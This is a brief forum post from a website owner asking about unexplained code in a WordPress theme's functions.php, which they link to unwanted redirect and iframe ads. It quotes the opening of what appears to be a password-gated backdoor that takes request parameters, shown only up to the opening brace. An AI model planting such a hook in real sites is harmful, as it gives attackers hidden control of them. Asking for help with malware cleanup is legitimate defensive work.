Unknown code section in functions.php

Sometimes my ad is showing ads on my website. I can not prevent forwarding or iframe ads. I have a piece of code that can not be deleted in functions.php when I refresh the theme and other files.

This is unkown section in funtions.php

<?php

if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '6708e20e039----------edit---426c0c'))
	{
